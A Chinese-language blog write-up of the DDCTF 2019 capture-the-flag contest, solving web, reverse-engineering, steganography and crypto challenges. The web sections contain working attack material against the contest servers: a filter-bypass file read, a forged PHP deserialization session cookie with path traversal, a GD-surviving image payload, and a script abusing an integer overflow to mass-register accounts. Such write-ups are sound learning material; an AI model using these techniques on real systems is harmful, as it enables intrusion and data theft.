banner
NEWS LETTER

DDCTF 2019 Writeup

Scroll down

作者: lolpzili
本文链接,长期有效: https://lolpzili.com/2019/04/23/DDCTF%202019%20Writeup/

未经允许,不得转载

滴~

打开网页http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
发现地址栏的TmpZMlF6WXhOamN5UlRaQk56QTJOdz09十分可疑,用base64解码两次,在得到一段hex,再转成字符串发现其为flag.jpg为其显示的文件.

1.png

将index.php使用逆方法得到index.php的内容

2.png

3.png

解码得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/

?>

打开 https://blog.csdn.net/FengBanLiuYun/article/details/80616607 发现没有任何提示,找了半天,发现提示在 https://blog.csdn.net/fengbanliuyun/article/details/80913909 ,尝试进入 http://117.51.150.246/practice.txt.swp ,得到提示flag!ddctf.php

4.png

根据代码的$file = str_replace(“config”,”!”, $file);
构造”f1agconfigddctf.php”得到文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}

?>

访问http://117.51.150.246/f1ag!ddctf.php?uid=&k=得到flag

5.png


WEB签到题

F12查看源码,发现验证在js/index.js里

6.png

构造请求

7.png

得到Application.php和Session.php的源码
其中,这一段会得到flag

8.png

在Application销毁的时候会读取path的文件内容
在Session.php中发现了反序列化漏洞

9.png

但发现session有签名验证

10.png

所以需要先拿到eancrykey,继续阅读得到发现这里会照成eancry泄露

11.png

使nickname为%s

12.png

得到eancry为EzblrbNS,构造payload

1
a:5:{s:10:"session_id";s:32:"a2bc99d99a7e5d14629ca931171e5242";s:10:"ip_address";s:14:"123.147.248.60";s:10:"user_agent";s:20:"PostmanRuntime/7.6.1";s:9:"user_data";s:0:"";s:7:"payload";O:11:"Application":1:{s:4:"path";s:21:"....//config/flag.txt";}}

将其放入cookie:

1
a%3a5%3a%7bs%3a10%3a%22session_id%22%3bs%3a32%3a%22a2bc99d99a7e5d14629ca931171e5242%22%3bs%3a10%3a%22ip_address%22%3bs%3a14%3a%22123.147.248.60%22%3bs%3a10%3a%22user_agent%22%3bs%3a20%3a%22PostmanRuntime%2f7.6.1%22%3bs%3a9%3a%22user_data%22%3bs%3a0%3a%22%22%3bs%3a7%3a%22payload%22%3bO%3a11%3a%22Application%22%3a1%3a%7bs%3a4%3a%22path%22%3bs%3a21%3a%22....%2f%2fconfig%2fflag.txt%22%3b%7d%7dbfb9fb7e06e86c914f19b6b2b4cb2e55

得到flag

13.png

Upload-IMG

先随便上传一张图片,发现其需要在图片中有phpinfo()

14.png

直接在图片末尾添加发现无效,将显示的图片下载下来发现其被GD库压缩过,所以使用绕过GD库的工具进行添加.
将一张100x100的空白图片使用jpg_payload工具进行处理,将其$miniPayload改为’‘;.
发现还是失败,多尝试了几次,发现成功获得了flag

15.png
16.png


homebrew event loop

打开网页,下载得到服务器源码.分析,发现其中有一个eval,但输入仅能在”abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#”这些字符当中选取,所以不可能通过他来调用函数,并且event_handler(args)会强行传入一个数组,所以调用python自带函数的方法基本上不可用了.继续阅读,发现其buy_handler为先加item再进行判断,而且是将判断的操作添加到事件队列的尾端,所以可以利用这一漏洞,在它进行判断之前调用get_flag_handler就可以在log中看到flag(因为flask是将session储存在的客户端,这个session是可以直接查看的)
构造输入action:trigger_event%23;action:buy;100%23action:get_flag;拿到session:

1
.eJyNjl1rwjAUhv_KyLUX_UC6FnpR0ZQJscx1Jj1jjMaoa2xiWa11Ef_7sl1MxF3s7vC-D895T6jebVD0ckJ3HEWooDOnpGGX6flnSYUGNl0Dg5rrR5l5WIq0PnDZVIJtA5In_cMls-x8Der4DqaN0Xlwo1RTd5W3RzJOvuubVtQCh4qnWGd9bInXXwPoRVeYRnJvaAR1a-aPDiUdOpmZ9CSJ_7JpaIAtA0ttgW1-bNcyU6ahzzxoC7oMiF84ZHFvhJx1dkRLxqOeeTgDOyif4PzJDWXuhB88ff7nM6Q79VbtV6pFkT9Aza7Se3s65y_0JHYI.D5yvGA.x00pE4Oh0Mp1whb48EQN3z0q3qU

使用工具解密得到flag:
17.png


大吉大利,今晚吃鸡~

对购买操作进行抓包修改,发现其金额可以改变,尝试将其改为100,显示票的价格是两千,而向上改没有报错,说明这道题应该是溢出,改价格为4294967296

18.png

支付成功

19.png

尝试注册新号码进行移除,发现可行,于是写了脚本进行操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import hashlib
import random
import time

def get_usename(src):
m2 = hashlib.md5()
m2.update(src.encode())
return m2.hexdigest()
lastname = 'sjadhfs12' + str(random.randint(1, 999999)) + str(random.randint(1, 999999)) + str(random.randint(1, 999999)) + str(random.randint(1, 999999)) + str(random.randint(1, 999999))
reg_url = 'http://117.51.147.155:5050/ctf/api/register?name={username}&password=12345678'
buy_url = 'http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296'
pay_url = 'http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={bill_id}'
info_url = 'http://117.51.147.155:5050/ctf/api/search_ticket'
remove_url = 'http://117.51.147.155:5050/ctf/api/remove_robot?id={id}&ticket={ticket}'


def reg(i=0):
if i == 100:
return
global lastname
time.sleep(1.5)
lastname = get_usename(lastname)
print(lastname)
r = requests.get(reg_url.format(username=lastname))
cookies = r.cookies.get_dict()
print('reg')
buy(cookies, i)

def buy(cookies, i):
r = requests.get(buy_url, cookies=cookies)
j = r.json()
bill_id = j['data'][0]['bill_id']
print('buy')
pay(cookies, bill_id, i)

def pay(cookies, bill_id, i):
r = requests.get(pay_url.format(bill_id=bill_id), cookies=cookies)
print('pay')
get_info(cookies, i)

def get_info(cookies, i):
r = requests.get(info_url, cookies=cookies)
j = r.json()
id_ = j['data'][0]['id']
ticket = j['data'][0]['ticket']
remove(id_, ticket, i)

def remove(id_, ticket, i):
r = requests.get(remove_url.format(id=id_, ticket=ticket), cookies={'user_name': 'lolpzili', 'REVEL_SESSION':'dd83f10829edab78bbce25be8e368439'})
print(r.json(), i)

while True:
try:
reg()
except Exception:
pass

20.png

最终得到flag

21.png


Windows Reverse1

查壳发现其加了UPX壳

22.png

使用upx -d进行脱壳,用ida pro打开,发现其功能为将输入进行某种操作使其等于DDCTF{reverseME}

23.png

进入函数发现其为查表

24.png

写出程序

1
2
3
4
5
temp = "}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!"
t = input()
for text in t:
print(temp[ord(text) - 33], end='')
print()

25.png

26.png

DDCTF{ZZ[JX#,9(9,+9QY!}即为flag


Windows Reverse2

查壳发现其为aspack壳,没有找到可用脱壳工具,手动脱壳

27.png

来到oep

28.png

使用scylla将其dump出来

29.png

用ida pro分析

30.png

其输入应为偶数位的十六进制,经过check的变换得到DDCTF{reverse+}

31.png

结合OD动态调试分析后发现,输入的十六进制进行base64编码得到reverse+即可

32.png

33.png

Flag即为DDCTF{ADEBDEAEC7BE}


Confused

因为没有mac,所以只有静态分析

34.png

Flag除去两边包裹长度为18位,关键在check里面

35.png

第一个函数为一系列赋值

36.png

第二个为判断结果

37.png

a1+24存的值为指向loc_100001980+4的内容的指针
继续分析while及里面的函数,while为一直循环直到a1+24指向的位置的值为F3
函数为从a1+0x20开始,每次往后找0x10个地址上的值,如果与a1+0x18(即24)所指的地方的值相同则取出在当前位置的后8位存的函数地址,并调用.

38.png

人肉模拟ram,上面的是a1的值,下面是a1+24的指针指向的地址的值,其中a1的0x00为临时存放的正确结果,0x10为判断结果的存放位置(即当前的值是否正确)

39.png

跟着下方的内容走,分析出沿途所有需要使用的函数的意义,F0为将其后面第二位的值放入a1+0(因为在输入正确的前提下F0后面始终是10,其他情况就忽略了)F2为判断当前位是否正确,判断结果放入a1+0x10.F6为判断a1+0x10是否为真,为假则按照它后面的一个值跳出整个过程,F7为成功,F8为按照a->c,b->d,…,y->a,z->b的规律将a1+0的值进行变换(大写相同,其他不变)F3是空的函数,其余函数在验证成功的前提下,没有执行,故没有分析.
将所有值拿出来,写出脚本

1
2
3
4
5
6
7
8
9
flag = [0x66,0x63,0x6a,0x6a,0x6d,0x57,0x6d,0x73,0x45,0x6d,0x72,0x52,0x66,0x63,0x44,0x6a,0x79,0x65]
print('DDCTF{', end='')
for i in flag:
if(ord('A') <= i <= ord('Z')):
print(chr((i + 2 - ord('A')) % 26 + ord('A')), end='')
else:
print(chr((i + 2 - ord('a')) % 26 + ord('a')), end='')

print('}')

40.png

得到flag


真-签到题

41.png


北京地铁

使用stegsolve查看,发现rgb最低位藏有数据

42.png

后面官方放出提示1,提示2没有进展,直到提示三 ,发现和题目的Color Threshold联系起来了.(一直在纠结,为什么图片叫北京地铁2,没有1怀疑藏了图片)
用ps调低阈值发现,图片中仅存的一个圈

43.png

将地图上的地名输入,得到flag

44.png


MulTzor

因为T的大写让我误以为Tzor是一个单词,找了半天没有任何发现,后来才发现是MultXor的变体,使用xortool来解密,得到flag

45.png


Wireshark

查看http对象,发现它有一个网页,三张图片,其他数据对题目没有帮助.

46.png

将他们的导出,网页是一个隐写的工具,一张钥匙图片和两张相同的图片,支持占用空间不同,怀疑大的那张是隐写了数据的.(t.png已经修改高度,原图只有钥匙)

47.png

更改钥匙图片的高度,发现密码

48.png

打开网页文件所对应的网页,解密

49.png

中间很明显为hex,解码得到flag

50.png


联盟决策大会

题目中提示为Shamir秘密分享方案,搜索找到它的生成以及还原脚本,并进行修改,得到解密脚本(太长放在最后)
因为题目中为组织1成员1,2,4; 组织2成员3,4,5,猜测算法中取的x与成员的编号有关,而解出最后flag的x为1,2
运行得到flag

51.png

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
'''
The following Python implementation of Shamir's Secret Sharing is
released into the Public Domain under the terms of CC0 and OWFa:
https://creativecommons.org/publicdomain/zero/1.0/
http://www.openwebfoundation.org/legal/the-owf-1-0-agreements/owfa-1-0

See the bottom few lines for usage. Tested on Python 2 and 3.
'''

from __future__ import division
from __future__ import print_function

import random
import functools

# 12th Mersenne Prime
# (for this application we want a known prime number as close as
# possible to our security level; e.g. desired security level of 128
# bits -- too large and all the ciphertext is large; too small and
# security is compromised)
_PRIME = 2**127 - 1
# 13th Mersenne Prime is 2**521 - 1

_RINT = functools.partial(random.SystemRandom().randint, 0)

def _eval_at(poly, x, prime):
'''evaluates polynomial (coefficient tuple) at x, used to generate a
shamir pool in make_random_shares below.
'''
accum = 0
for coeff in reversed(poly):
accum *= x
accum += coeff
accum %= prime
return accum

def make_random_shares(minimum, shares, prime=_PRIME):
'''
Generates a random shamir pool, returns the secret and the share
points.
'''
if minimum > shares:
raise ValueError("pool secret would be irrecoverable")
poly = [_RINT(prime) for i in range(minimum)]
points = [(i, _eval_at(poly, i, prime))
for i in range(1, shares + 1)]
return poly[0], points

def _extended_gcd(a, b):
'''
division in integers modulus p means finding the inverse of the
denominator modulo p and then multiplying the numerator by this
inverse (Note: inverse of A is B such that A*B % p == 1) this can
be computed via extended Euclidean algorithm
http://en.wikipedia.org/wiki/Modular_multiplicative_inverse#Computation
'''
x = 0
last_x = 1
y = 1
last_y = 0
while b != 0:
quot = a // b
a, b = b, a%b
x, last_x = last_x - quot * x, x
y, last_y = last_y - quot * y, y
return last_x, last_y

def _divmod(num, den, p):
'''compute num / den modulo prime p

To explain what this means, the return value will be such that
the following is true: den * _divmod(num, den, p) % p == num
'''
inv, _ = _extended_gcd(den, p)
return num * inv

def _lagrange_interpolate(x, x_s, y_s, p):
'''
Find the y-value for the given x, given n (x, y) points;
k points will define a polynomial of up to kth order
'''
k = len(x_s)
assert k == len(set(x_s)), "points must be distinct"
def PI(vals): # upper-case PI -- product of inputs
accum = 1
for v in vals:
accum *= v
return accum
nums = [] # avoid inexact division
dens = []
for i in range(k):
others = list(x_s)
cur = others.pop(i)
nums.append(PI(x - o for o in others))
dens.append(PI(cur - o for o in others))
den = PI(dens)
num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
for i in range(k)])
return (_divmod(num, den, p) + p) % p

def recover_secret(shares, prime=_PRIME):
'''
Recover the secret from share points
(x,y points on the polynomial)
'''
if len(shares) < 2:
raise ValueError("need at least two shares")
x_s, y_s = zip(*shares)
return _lagrange_interpolate(0, x_s, y_s, prime)

def main():
p = 0xC53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7
s1 = recover_secret(
[
(1, 0x30A152322E40EEE5933DE433C93827096D9EBF6F4FDADD48A18A8A8EB77B6680FE08B4176D8DCF0B6BF50000B74A8B8D572B253E63473A0916B69878A779946A),
(2, 0x1B309C79979CBECC08BD8AE40942AFFD17BBAFCAD3EEBA6B4DD652B5606A5B8B35B2C7959FDE49BA38F7BF3C3AC8CB4BAA6CB5C4EDACB7A9BBCCE774745A2EC7),
(4, 0x1E2B6A6AFA758F331F2684BB75CC898FF501C4FCDD91467138C2F55F47EB4ED347334FAD3D80DB725ABF6546BD09720D5D5F3E7BC1A401C8BD7300C253927BBC)
],
prime=p
)
s2 = recover_secret(
[
(3, 0x300991151BB6A52AEF598F944B4D43E02A45056FA39A71060C69697660B14E69265E35461D9D0BE4D8DC29E77853FB2391361BEB54A97F8D7A9D8C66AEFDF3DA),
(4, 0x1AAC52987C69C8A565BF9E426E759EE3455D4773B01C7164952442F13F92621F3EE2F8FE675593AE2FD6022957B0C0584199F02790AAC61D7132F7DB6A8F77B9),
(5, 0x9288657962CCD9647AA6B5C05937EE256108DFCD580EFA310D4348242564C9C90FBD1003FF12F6491B2E67CA8F3CC3BC157E5853E29537E8B9A55C0CF927FE45)
],
prime=p
)
s = recover_secret(
[
(1, s1),
(2, s2),
],
prime=p
)
print("组织1:", s1)
print("组织2:", s2)
print("密码:", s)
s = bytes.fromhex(hex(s)[2:])
print('flag:', s.decode('ascii'))

if __name__ == '__main__':
main()

写在最后

这算是第一场我拼尽全力去打的比赛吧,连续熬了几个通宵,最后比赛完是筋疲力竭.但也收获了很多做题的经验,虽然拼尽全力在比赛结束时能也没进前三十,但我也真的尽力了,希望经过长期的训练之后我也可以像前面的大佬一样.

更新

没想到被ban了这么多人

FireShot Capture 008 - DDCTF2019 - ddctf.didichuxing.com.png

其他文章